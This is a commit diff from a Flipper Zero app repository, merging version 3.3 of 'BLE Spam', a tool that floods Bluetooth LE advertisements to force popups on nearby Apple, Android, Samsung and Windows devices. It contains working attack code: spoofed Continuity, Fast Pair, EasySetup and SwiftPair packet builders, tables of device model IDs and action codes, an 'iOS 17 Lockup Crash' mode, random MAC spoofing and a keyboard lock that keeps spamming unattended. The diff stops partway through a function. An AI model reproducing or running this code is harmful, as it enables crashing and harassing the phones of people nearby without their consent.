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Merge BLE Spam from firmware repo

Willy-JL há 2 anos atrás
pai
commit
6ee51119cf

+ 1 - 1
ble_spam/application.fam

@@ -8,7 +8,7 @@ App(
     fap_category="Bluetooth",
     fap_author="@Willy-JL @ECTO-1A @Spooks4576",
     fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
-    fap_version="2.0",
+    fap_version="3.3",
     fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
     fap_icon_assets="icons",
     fap_icon_assets_symbol="ble_spam",

+ 267 - 88
ble_spam/ble_spam.c

@@ -1,47 +1,36 @@
+#include "ble_spam.h"
 #include <gui/gui.h>
 #include <furi_hal_bt.h>
 #include <gui/elements.h>
 
-#include "protocols/_registry.h"
+#include "protocols/_protocols.h"
 
 // Hacked together by @Willy-JL
 // Custom adv API by @Willy-JL (idea by @xMasterX)
 // iOS 17 Crash by @ECTO-1A
-// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
+// Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
 // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
 
-typedef struct {
-    bool random_mac;
-    const BleSpamProtocol* protocol;
-    BleSpamMsg msg;
-} Payload;
-
-typedef struct {
-    const char* title;
-    const char* text;
-    Payload payload;
-} Attack;
-
 static Attack attacks[] = {
     {
-        .title = "+ Kitchen Sink",
+        .title = "The Kitchen Sink",
         .text = "Flood all attacks at once",
+        .protocol = NULL,
         .payload =
             {
                 .random_mac = true,
-                .protocol = NULL,
-                .msg = {},
+                .cfg = {},
             },
     },
     {
         .title = "iOS 17 Lockup Crash",
         .text = "Newer iPhones, long range",
+        .protocol = &protocol_continuity,
         .payload =
             {
                 .random_mac = false,
-                .protocol = &ble_spam_protocol_continuity,
-                .msg =
+                .cfg =
                     {
                         .continuity =
                             {
@@ -54,11 +43,11 @@ static Attack attacks[] = {
     {
         .title = "Apple Action Modal",
         .text = "Lock cooldown, long range",
+        .protocol = &protocol_continuity,
         .payload =
             {
                 .random_mac = false,
-                .protocol = &ble_spam_protocol_continuity,
-                .msg =
+                .cfg =
                     {
                         .continuity =
                             {
@@ -71,11 +60,11 @@ static Attack attacks[] = {
     {
         .title = "Apple Device Popup",
         .text = "No cooldown, close range",
+        .protocol = &protocol_continuity,
         .payload =
             {
                 .random_mac = false,
-                .protocol = &ble_spam_protocol_continuity,
-                .msg =
+                .cfg =
                     {
                         .continuity =
                             {
@@ -86,26 +75,60 @@ static Attack attacks[] = {
             },
     },
     {
-        .title = "Android Device Pair",
+        .title = "Android Device Connect",
         .text = "Reboot cooldown, long range",
+        .protocol = &protocol_fastpair,
         .payload =
             {
                 .random_mac = true,
-                .protocol = &ble_spam_protocol_fastpair,
-                .msg =
+                .cfg =
                     {
                         .fastpair = {},
                     },
             },
     },
+    {
+        .title = "Samsung Buds Popup",
+        .text = "No cooldown, long range",
+        .protocol = &protocol_easysetup,
+        .payload =
+            {
+                .random_mac = true,
+                .cfg =
+                    {
+                        .easysetup =
+                            {
+                                .type = EasysetupTypeBuds,
+                                .data = {},
+                            },
+                    },
+            },
+    },
+    {
+        .title = "Samsung Watch Pair",
+        .text = "No cooldown, long range",
+        .protocol = &protocol_easysetup,
+        .payload =
+            {
+                .random_mac = true,
+                .cfg =
+                    {
+                        .easysetup =
+                            {
+                                .type = EasysetupTypeWatch,
+                                .data = {},
+                            },
+                    },
+            },
+    },
     {
         .title = "Windows Device Found",
-        .text = "Requires enabling SwiftPair",
+        .text = "No cooldown, short range",
+        .protocol = &protocol_swiftpair,
         .payload =
             {
                 .random_mac = true,
-                .protocol = &ble_spam_protocol_swiftpair,
-                .msg =
+                .cfg =
                     {
                         .swiftpair = {},
                     },
@@ -113,11 +136,17 @@ static Attack attacks[] = {
     },
 };
 
-#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
+#define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
 
-uint16_t delays[] = {20, 50, 100, 200};
+static uint16_t delays[] = {20, 50, 100, 200};
 
 typedef struct {
+    Ctx ctx;
+    View* main_view;
+    bool lock_warning;
+    uint8_t lock_count;
+    FuriTimer* lock_timer;
+
     bool resume;
     bool advertising;
     uint8_t delay;
@@ -125,21 +154,43 @@ typedef struct {
     int8_t index;
 } State;
 
-static int32_t adv_thread(void* ctx) {
-    State* state = ctx;
+NotificationMessage blink_message = {
+    .type = NotificationMessageTypeLedBlinkStart,
+    .data.led_blink.color = LightBlue | LightGreen,
+    .data.led_blink.on_time = 10,
+    .data.led_blink.period = 100,
+};
+const NotificationSequence blink_sequence = {
+    &blink_message,
+    &message_do_not_reset,
+    NULL,
+};
+static void start_blink(State* state) {
+    uint16_t period = delays[state->delay];
+    if(period <= 100) period += 30;
+    blink_message.data.led_blink.period = period;
+    notification_message_block(state->ctx.notification, &blink_sequence);
+}
+static void stop_blink(State* state) {
+    notification_message_block(state->ctx.notification, &sequence_blink_stop);
+}
+
+static int32_t adv_thread(void* _ctx) {
+    State* state = _ctx;
     uint8_t size;
     uint16_t delay;
     uint8_t* packet;
     uint8_t mac[GAP_MAC_ADDR_SIZE];
     Payload* payload = &attacks[state->index].payload;
+    const Protocol* protocol = attacks[state->index].protocol;
     if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
+    if(state->ctx.led_indicator) start_blink(state);
 
     while(state->advertising) {
-        if(payload->protocol) {
-            payload->protocol->make_packet(&size, &packet, &payload->msg);
+        if(protocol) {
+            protocol->make_packet(&size, &packet, &payload->cfg);
         } else {
-            ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
-                &size, &packet, NULL);
+            protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
         }
         furi_hal_bt_custom_adv_set(packet, size);
         free(packet);
@@ -151,6 +202,7 @@ static int32_t adv_thread(void* ctx) {
         furi_hal_bt_custom_adv_stop();
     }
 
+    if(state->ctx.led_indicator) stop_blink(state);
     return 0;
 }
 
@@ -161,28 +213,33 @@ static void toggle_adv(State* state) {
         furi_thread_join(state->thread);
         if(state->resume) furi_hal_bt_start_advertising();
     } else {
+        state->advertising = true;
         state->resume = furi_hal_bt_is_active();
         furi_hal_bt_stop_advertising();
-        state->advertising = true;
         furi_thread_start(state->thread);
     }
 }
 
-#define PAGE_MIN (-3)
-#define PAGE_MAX ATTACK_COUNT
+#define PAGE_MIN (-4)
+#define PAGE_MAX ATTACKS_COUNT
 enum {
     PageHelpApps = PAGE_MIN,
     PageHelpDelay,
     PageHelpDistance,
+    PageHelpInfoConfig,
     PageStart = 0,
-    PageEnd = ATTACK_COUNT - 1,
+    PageEnd = ATTACKS_COUNT - 1,
     PageAboutCredits = PAGE_MAX,
 };
 
-static void draw_callback(Canvas* canvas, void* ctx) {
-    State* state = ctx;
+static void draw_callback(Canvas* canvas, void* _ctx) {
+    State* state = *(State**)_ctx;
     const char* back = "Back";
     const char* next = "Next";
+    if(state->index < 0) {
+        back = "Next";
+        next = "Back";
+    }
     switch(state->index) {
     case PageStart - 1:
         next = "Spam";
@@ -199,12 +256,12 @@ static void draw_callback(Canvas* canvas, void* ctx) {
     }
 
     const Attack* attack =
-        (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
-    const Payload* payload = &attack->payload;
-    const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
+        (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
+    const Payload* payload = attack ? &attack->payload : NULL;
+    const Protocol* protocol = attack ? attack->protocol : NULL;
 
     canvas_set_font(canvas, FontSecondary);
-    canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
+    canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
     canvas_draw_str(canvas, 14, 12, "BLE Spam");
 
     switch(state->index) {
@@ -251,9 +308,25 @@ static void draw_callback(Canvas* canvas, void* ctx) {
             48,
             AlignLeft,
             AlignTop,
-            "\e#Distance\e# is limited, attacks\n"
-            "work under 1 meter but a\n"
-            "few are marked 'long range'",
+            "\e#Distance\e# varies greatly:\n"
+            "some are long range (>30 m)\n"
+            "others are close range (<1 m)",
+            false);
+        break;
+    case PageHelpInfoConfig:
+        canvas_set_font(canvas, FontBatteryPercent);
+        canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
+        elements_text_box(
+            canvas,
+            4,
+            16,
+            120,
+            48,
+            AlignLeft,
+            AlignTop,
+            "See \e#more info\e# and change\n"
+            "\e#attack options\e# by holding\n"
+            "Ok on each attack page",
             false);
         break;
     case PageAboutCredits:
@@ -270,11 +343,15 @@ static void draw_callback(Canvas* canvas, void* ctx) {
             "App+Spam: \e#WillyJL\e# XFW\n"
             "Apple+Crash: \e#ECTO-1A\e#\n"
             "Android+Win: \e#Spooks4576\e#\n"
-            "                                   Version \e#2.0\e#",
+            "                                   Version \e#3.3\e#",
             false);
         break;
     default: {
         if(!attack) break;
+        if(state->ctx.lock_keyboard && !state->advertising) {
+            // Forgive me Lord for I have sinned by handling state in draw
+            toggle_adv(state);
+        }
         char str[32];
 
         canvas_set_font(canvas, FontBatteryPercent);
@@ -289,12 +366,12 @@ static void draw_callback(Canvas* canvas, void* ctx) {
             sizeof(str),
             "%02i/%02i: %s",
             state->index + 1,
-            ATTACK_COUNT,
-            protocol ? protocol->get_name(&payload->msg) : "Everything");
+            ATTACKS_COUNT,
+            protocol ? protocol->get_name(&payload->cfg) : "Everything AND");
         canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
 
         canvas_set_font(canvas, FontPrimary);
-        canvas_draw_str(canvas, 4, 32, attack->title);
+        canvas_draw_str(canvas, 4, 33, attack->title);
 
         canvas_set_font(canvas, FontSecondary);
         canvas_draw_str(canvas, 4, 46, attack->text);
@@ -310,50 +387,68 @@ static void draw_callback(Canvas* canvas, void* ctx) {
     if(state->index < PAGE_MAX) {
         elements_button_right(canvas, next);
     }
-}
 
-static void input_callback(InputEvent* input, void* ctx) {
-    FuriMessageQueue* input_queue = ctx;
-    if(input->type == InputTypeShort || input->type == InputTypeLong ||
-       input->type == InputTypeRepeat) {
-        furi_message_queue_put(input_queue, input, 0);
+    if(state->lock_warning) {
+        canvas_set_font(canvas, FontSecondary);
+        elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
+        elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
+        canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
+        canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
+        canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
+        canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
+        canvas_draw_dot(canvas, 17, 61);
     }
 }
 
-int32_t ble_spam(void* p) {
-    UNUSED(p);
-    State* state = malloc(sizeof(State));
-    state->thread = furi_thread_alloc();
-    furi_thread_set_callback(state->thread, adv_thread);
-    furi_thread_set_context(state->thread, state);
-    furi_thread_set_stack_size(state->thread, 4096);
-
-    FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
-    ViewPort* view_port = view_port_alloc();
-    Gui* gui = furi_record_open(RECORD_GUI);
-    view_port_input_callback_set(view_port, input_callback, input_queue);
-    view_port_draw_callback_set(view_port, draw_callback, state);
-    gui_add_view_port(gui, view_port, GuiLayerFullscreen);
-
-    bool running = true;
-    while(running) {
-        InputEvent input;
-        furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
+static bool input_callback(InputEvent* input, void* _ctx) {
+    View* view = _ctx;
+    State* state = *(State**)view_get_model(view);
+    bool consumed = false;
+
+    if(state->ctx.lock_keyboard) {
+        consumed = true;
+        with_view_model(
+            state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
+        if(state->lock_count == 0) {
+            furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000));
+        }
+        if(input->type == InputTypeShort && input->key == InputKeyBack) {
+            state->lock_count++;
+        }
+        if(state->lock_count >= 3) {
+            furi_timer_start(state->lock_timer, 1);
+        }
+    } else if(
+        input->type == InputTypeShort || input->type == InputTypeLong ||
+        input->type == InputTypeRepeat) {
+        consumed = true;
 
-        bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
+        bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
         bool advertising = state->advertising;
-        switch(input.key) {
+
+        switch(input->key) {
         case InputKeyOk:
-            if(is_attack) toggle_adv(state);
+            if(is_attack) {
+                if(input->type == InputTypeLong) {
+                    if(advertising) toggle_adv(state);
+                    state->ctx.attack = &attacks[state->index];
+                    scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
+                    scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
+                } else if(input->type == InputTypeShort) {
+                    toggle_adv(state);
+                }
+            }
             break;
         case InputKeyUp:
             if(is_attack && state->delay < COUNT_OF(delays) - 1) {
                 state->delay++;
+                if(advertising) start_blink(state);
             }
             break;
         case InputKeyDown:
             if(is_attack && state->delay > 0) {
                 state->delay--;
+                if(advertising) start_blink(state);
             }
             break;
         case InputKeyLeft:
@@ -370,20 +465,104 @@ int32_t ble_spam(void* p) {
             break;
         case InputKeyBack:
             if(advertising) toggle_adv(state);
-            running = false;
+            consumed = false;
             break;
         default:
-            continue;
+            break;
         }
+    }
 
-        view_port_update(view_port);
+    view_commit_model(view, consumed);
+    return consumed;
+}
+
+static void lock_timer_callback(void* _ctx) {
+    State* state = _ctx;
+    if(state->lock_count < 3) {
+        notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
+    } else {
+        state->ctx.lock_keyboard = false;
     }
+    with_view_model(
+        state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
+    state->lock_count = 0;
+}
+
+static bool back_event_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    return scene_manager_handle_back_event(ctx->scene_manager);
+}
+
+int32_t ble_spam(void* p) {
+    UNUSED(p);
+    State* state = malloc(sizeof(State));
+    state->thread = furi_thread_alloc();
+    furi_thread_set_callback(state->thread, adv_thread);
+    furi_thread_set_context(state->thread, state);
+    furi_thread_set_stack_size(state->thread, 4096);
+    state->ctx.led_indicator = true;
+    state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
 
-    gui_remove_view_port(gui, view_port);
+    state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
+    Gui* gui = furi_record_open(RECORD_GUI);
+    state->ctx.view_dispatcher = view_dispatcher_alloc();
+    view_dispatcher_enable_queue(state->ctx.view_dispatcher);
+    view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx);
+    view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
+    state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
+
+    state->main_view = view_alloc();
+    view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
+    with_view_model(
+        state->main_view, State * *model, { *model = state; }, false);
+    view_set_context(state->main_view, state->main_view);
+    view_set_draw_callback(state->main_view, draw_callback);
+    view_set_input_callback(state->main_view, input_callback);
+    view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
+
+    state->ctx.byte_input = byte_input_alloc();
+    view_dispatcher_add_view(
+        state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
+
+    state->ctx.submenu = submenu_alloc();
+    view_dispatcher_add_view(
+        state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
+
+    state->ctx.text_input = text_input_alloc();
+    view_dispatcher_add_view(
+        state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
+
+    state->ctx.variable_item_list = variable_item_list_alloc();
+    view_dispatcher_add_view(
+        state->ctx.view_dispatcher,
+        ViewVariableItemList,
+        variable_item_list_get_view(state->ctx.variable_item_list));
+
+    view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
+    scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
+    view_dispatcher_run(state->ctx.view_dispatcher);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
+    byte_input_free(state->ctx.byte_input);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
+    submenu_free(state->ctx.submenu);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
+    text_input_free(state->ctx.text_input);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
+    variable_item_list_free(state->ctx.variable_item_list);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
+    view_free(state->main_view);
+
+    scene_manager_free(state->ctx.scene_manager);
+    view_dispatcher_free(state->ctx.view_dispatcher);
     furi_record_close(RECORD_GUI);
-    view_port_free(view_port);
-    furi_message_queue_free(input_queue);
+    furi_record_close(RECORD_NOTIFICATION);
 
+    furi_timer_free(state->lock_timer);
     furi_thread_free(state->thread);
     free(state);
     return 0;

+ 44 - 0
ble_spam/ble_spam.h

@@ -0,0 +1,44 @@
+#pragma once
+
+#include <notification/notification_messages.h>
+#include <gui/view_dispatcher.h>
+#include <gui/modules/byte_input.h>
+#include <gui/modules/submenu.h>
+#include <gui/modules/text_input.h>
+#include <gui/modules/variable_item_list.h>
+
+#include "scenes/_setup.h"
+
+enum {
+    ViewMain,
+    ViewByteInput,
+    ViewSubmenu,
+    ViewTextInput,
+    ViewVariableItemList,
+};
+
+enum {
+    ConfigRandomMac,
+    ConfigExtraStart = ConfigRandomMac,
+    ConfigLedIndicator,
+    ConfigLockKeyboard,
+};
+
+typedef struct Attack Attack;
+
+typedef struct {
+    Attack* attack;
+    uint8_t byte_store[3];
+    VariableItemListEnterCallback fallback_config_enter;
+    bool led_indicator;
+    bool lock_keyboard;
+
+    NotificationApp* notification;
+    ViewDispatcher* view_dispatcher;
+    SceneManager* scene_manager;
+
+    ByteInput* byte_input;
+    Submenu* submenu;
+    TextInput* text_input;
+    VariableItemList* variable_item_list;
+} Ctx;

BIN
ble_spam/ble_spam_10px.png


BIN
ble_spam/icons/ble.png → ble_spam/icons/ble_spam.png


+ 8 - 4
ble_spam/protocols/_base.h

@@ -3,15 +3,19 @@
 #include <stdint.h>
 #include <stdlib.h>
 #include <string.h>
+#include <stdbool.h>
 #include <assets_icons.h>
 #include "ble_spam_icons.h"
 #include <furi_hal_random.h>
 #include <core/core_defines.h>
+#include "../ble_spam.h"
 
-typedef union BleSpamMsg BleSpamMsg;
+typedef union ProtocolCfg ProtocolCfg;
 
 typedef struct {
     const Icon* icon;
-    const char* (*get_name)(const BleSpamMsg* _msg);
-    void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg);
-} BleSpamProtocol;
+    const char* (*get_name)(const ProtocolCfg* _cfg);
+    void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg);
+    void (*extra_config)(Ctx* ctx);
+    uint8_t (*config_count)(const ProtocolCfg* _cfg);
+} Protocol;

+ 10 - 0
ble_spam/protocols/_protocols.c

@@ -0,0 +1,10 @@
+#include "_protocols.h"
+
+const Protocol* protocols[] = {
+    &protocol_continuity,
+    &protocol_fastpair,
+    &protocol_easysetup,
+    &protocol_swiftpair,
+};
+
+const size_t protocols_count = COUNT_OF(protocols);

+ 29 - 0
ble_spam/protocols/_protocols.h

@@ -0,0 +1,29 @@
+#pragma once
+
+#include "continuity.h"
+#include "fastpair.h"
+#include "easysetup.h"
+#include "swiftpair.h"
+
+union ProtocolCfg {
+    ContinuityCfg continuity;
+    FastpairCfg fastpair;
+    EasysetupCfg easysetup;
+    SwiftpairCfg swiftpair;
+};
+
+extern const Protocol* protocols[];
+
+extern const size_t protocols_count;
+
+typedef struct {
+    bool random_mac;
+    ProtocolCfg cfg;
+} Payload;
+
+struct Attack {
+    const char* title;
+    const char* text;
+    const Protocol* protocol;
+    Payload payload;
+};

+ 0 - 9
ble_spam/protocols/_registry.c

@@ -1,9 +0,0 @@
-#include "_registry.h"
-
-const BleSpamProtocol* ble_spam_protocols[] = {
-    &ble_spam_protocol_continuity,
-    &ble_spam_protocol_fastpair,
-    &ble_spam_protocol_swiftpair,
-};
-
-const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);

+ 0 - 15
ble_spam/protocols/_registry.h

@@ -1,15 +0,0 @@
-#pragma once
-
-#include "continuity.h"
-#include "fastpair.h"
-#include "swiftpair.h"
-
-union BleSpamMsg {
-    ContinuityMsg continuity;
-    FastpairMsg fastpair;
-    SwiftpairMsg swiftpair;
-};
-
-extern const BleSpamProtocol* ble_spam_protocols[];
-
-extern const size_t ble_spam_protocols_count;

+ 4 - 0
ble_spam/protocols/_scenes.h

@@ -0,0 +1,4 @@
+#include "continuity_scenes.h"
+#include "fastpair_scenes.h"
+#include "easysetup_scenes.h"
+#include "swiftpair_scenes.h"

+ 619 - 89
ble_spam/protocols/continuity.c

@@ -1,28 +1,83 @@
 #include "continuity.h"
-#include "_registry.h"
+#include "_protocols.h"
 
 // Hacked together by @Willy-JL
 // iOS 17 Crash by @ECTO-1A
 // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
 // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
 
-static const char* type_names[ContinuityTypeCount] = {
+const struct {
+    uint16_t value;
+    const char* name;
+} pp_models[] = {
+    {0x0E20, "AirPods Pro"},
+    {0x0620, "Beats Solo 3"},
+    {0x0A20, "AirPods Max"},
+    {0x1020, "Beats Flex"},
+    {0x0055, "Airtag"},
+    {0x0030, "Hermes Airtag"},
+    {0x0220, "AirPods"},
+    {0x0F20, "AirPods 2nd Gen"},
+    {0x1320, "AirPods 3rd Gen"},
+    {0x1420, "AirPods Pro 2nd Gen"},
+    {0x0320, "Powerbeats 3"},
+    {0x0B20, "Powerbeats Pro"},
+    {0x0C20, "Beats Solo Pro"},
+    {0x1120, "Beats Studio Buds"},
+    {0x0520, "Beats X"},
+    {0x0920, "Beats Studio 3"},
+    {0x1720, "Beats Studio Pro"},
+    {0x1220, "Beats Fit Pro"},
+    {0x1620, "Beats Studio Buds+"},
+};
+const uint8_t pp_models_count = COUNT_OF(pp_models);
+
+const struct {
+    uint8_t value;
+    const char* name;
+} pp_prefixes[] = {
+    {0x01, "New Device"},
+    {0x07, "Not Your Device"},
+    {0x05, "New Airtag"},
+};
+const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
+
+const struct {
+    uint8_t value;
+    const char* name;
+} na_actions[] = {
+    {0x13, "AppleTV AutoFill"},
+    {0x27, "AppleTV Connecting..."},
+    {0x20, "Join This AppleTV?"},
+    {0x19, "AppleTV Audio Sync"},
+    {0x1E, "AppleTV Color Balance"},
+    {0x09, "Setup New iPhone"},
+    {0x02, "Transfer Phone Number"},
+    {0x0B, "HomePod Setup"},
+    {0x01, "Setup New AppleTV"},
+    {0x06, "Pair AppleTV"},
+    {0x0D, "HomeKit AppleTV Setup"},
+    {0x2B, "AppleID for AppleTV?"},
+};
+const uint8_t na_actions_count = COUNT_OF(na_actions);
+
+static const char* type_names[ContinuityTypeCOUNT] = {
     [ContinuityTypeAirDrop] = "AirDrop",
-    [ContinuityTypeProximityPair] = "Proximity Pair",
+    [ContinuityTypeProximityPair] = "Continuity Pair",
     [ContinuityTypeAirplayTarget] = "Airplay Target",
     [ContinuityTypeHandoff] = "Handoff",
     [ContinuityTypeTetheringSource] = "Tethering Source",
-    [ContinuityTypeNearbyAction] = "Nearby Action",
+    [ContinuityTypeNearbyAction] = "Continuity Action",
     [ContinuityTypeNearbyInfo] = "Nearby Info",
-    [ContinuityTypeCustomCrash] = "Custom Packet",
+    [ContinuityTypeCustomCrash] = "Continuity Custom",
 };
-const char* continuity_get_name(const BleSpamMsg* _msg) {
-    const ContinuityMsg* msg = &_msg->continuity;
-    return type_names[msg->type];
+static const char* continuity_get_name(const ProtocolCfg* _cfg) {
+    const ContinuityCfg* cfg = &_cfg->continuity;
+    return type_names[cfg->type];
 }
 
 #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
-static uint8_t packet_sizes[ContinuityTypeCount] = {
+static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
     [ContinuityTypeAirDrop] = HEADER_LEN + 18,
     [ContinuityTypeProximityPair] = HEADER_LEN + 25,
     [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
@@ -32,13 +87,12 @@ static uint8_t packet_sizes[ContinuityTypeCount] = {
     [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
     [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
 };
-
-void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
-    const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
+static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
+    const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL;
 
     ContinuityType type;
-    if(msg) {
-        type = msg->type;
+    if(cfg) {
+        type = cfg->type;
     } else {
         const ContinuityType types[] = {
             ContinuityTypeProximityPair,
@@ -85,36 +139,15 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
 
     case ContinuityTypeProximityPair: {
         uint16_t model;
-        if(msg && msg->data.proximity_pair.model != 0x0000) {
-            model = msg->data.proximity_pair.model;
+        if(cfg && cfg->data.proximity_pair.model != 0x0000) {
+            model = cfg->data.proximity_pair.model;
         } else {
-            const uint16_t models[] = {
-                0x0E20, // AirPods Pro
-                0x0620, // Beats Solo 3
-                0x0A20, // AirPods Max
-                0x1020, // Beats Flex
-                0x0055, // Airtag
-                0x0030, // Hermes Airtag
-                0x0220, // AirPods
-                0x0F20, // AirPods 2nd Gen
-                0x1320, // AirPods 3rd Gen
-                0x1420, // AirPods Pro 2nd Gen
-                0x0320, // Powerbeats 3
-                0x0B20, // Powerbeats Pro
-                0x0C20, // Beats Solo Pro
-                0x1120, // Beats Studio Buds
-                0x0520, // Beats X
-                0x0920, // Beats Studio 3
-                0x1720, // Beats Studio Pro
-                0x1220, // Beats Fit Pro
-                0x1620, // Beats Studio Buds+
-            };
-            model = models[rand() % COUNT_OF(models)];
+            model = pp_models[rand() % pp_models_count].value;
         }
 
         uint8_t prefix;
-        if(msg && msg->data.proximity_pair.prefix == 0x00) {
-            prefix = msg->data.proximity_pair.prefix;
+        if(cfg && cfg->data.proximity_pair.prefix == 0x00) {
+            prefix = cfg->data.proximity_pair.prefix;
         } else {
             if(model == 0x0055 || model == 0x0030)
                 prefix = 0x05;
@@ -176,37 +209,23 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
 
     case ContinuityTypeNearbyAction: {
         uint8_t action;
-        if(msg && msg->data.nearby_action.type != 0x00) {
-            action = msg->data.nearby_action.type;
+        if(cfg && cfg->data.nearby_action.action != 0x00) {
+            action = cfg->data.nearby_action.action;
         } else {
-            const uint8_t actions[] = {
-                0x13, // AppleTV AutoFill
-                0x27, // AppleTV Connecting...
-                0x20, // Join This AppleTV?
-                0x19, // AppleTV Audio Sync
-                0x1E, // AppleTV Color Balance
-                0x09, // Setup New iPhone
-                0x02, // Transfer Phone Number
-                0x0B, // HomePod Setup
-                0x01, // Setup New AppleTV
-                0x06, // Pair AppleTV
-                0x0D, // HomeKit AppleTV Setup
-                0x2B, // AppleID for AppleTV?
-            };
-            action = actions[rand() % COUNT_OF(actions)];
+            action = na_actions[rand() % na_actions_count].value;
         }
 
-        uint8_t flag;
-        if(msg && msg->data.nearby_action.flags != 0x00) {
-            flag = msg->data.nearby_action.flags;
+        uint8_t flags;
+        if(cfg && cfg->data.nearby_action.flags != 0x00) {
+            flags = cfg->data.nearby_action.flags;
         } else {
-            flag = 0xC0;
-            if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
-            if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
+            flags = 0xC0;
+            if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
+            if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
         }
 
-        packet[i++] = flag; // Action Flags
-        packet[i++] = action; // Action Type
+        packet[i++] = flags;
+        packet[i++] = action;
         furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
         i += 3;
         break;
@@ -224,31 +243,16 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
     case ContinuityTypeCustomCrash: {
         // Found by @ECTO-1A
 
-        const uint8_t actions[] = {
-            0x13, // AppleTV AutoFill
-            0x27, // AppleTV Connecting...
-            0x20, // Join This AppleTV?
-            0x19, // AppleTV Audio Sync
-            0x1E, // AppleTV Color Balance
-            0x09, // Setup New iPhone
-            0x02, // Transfer Phone Number
-            0x0B, // HomePod Setup
-            0x01, // Setup New AppleTV
-            0x06, // Pair AppleTV
-            0x0D, // HomeKit AppleTV Setup
-            0x2B, // AppleID for AppleTV?
-        };
-        uint8_t action = actions[rand() % COUNT_OF(actions)];
-
-        uint8_t flag = 0xC0;
-        if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
-        if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
+        uint8_t action = na_actions[rand() % na_actions_count].value;
+        uint8_t flags = 0xC0;
+        if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
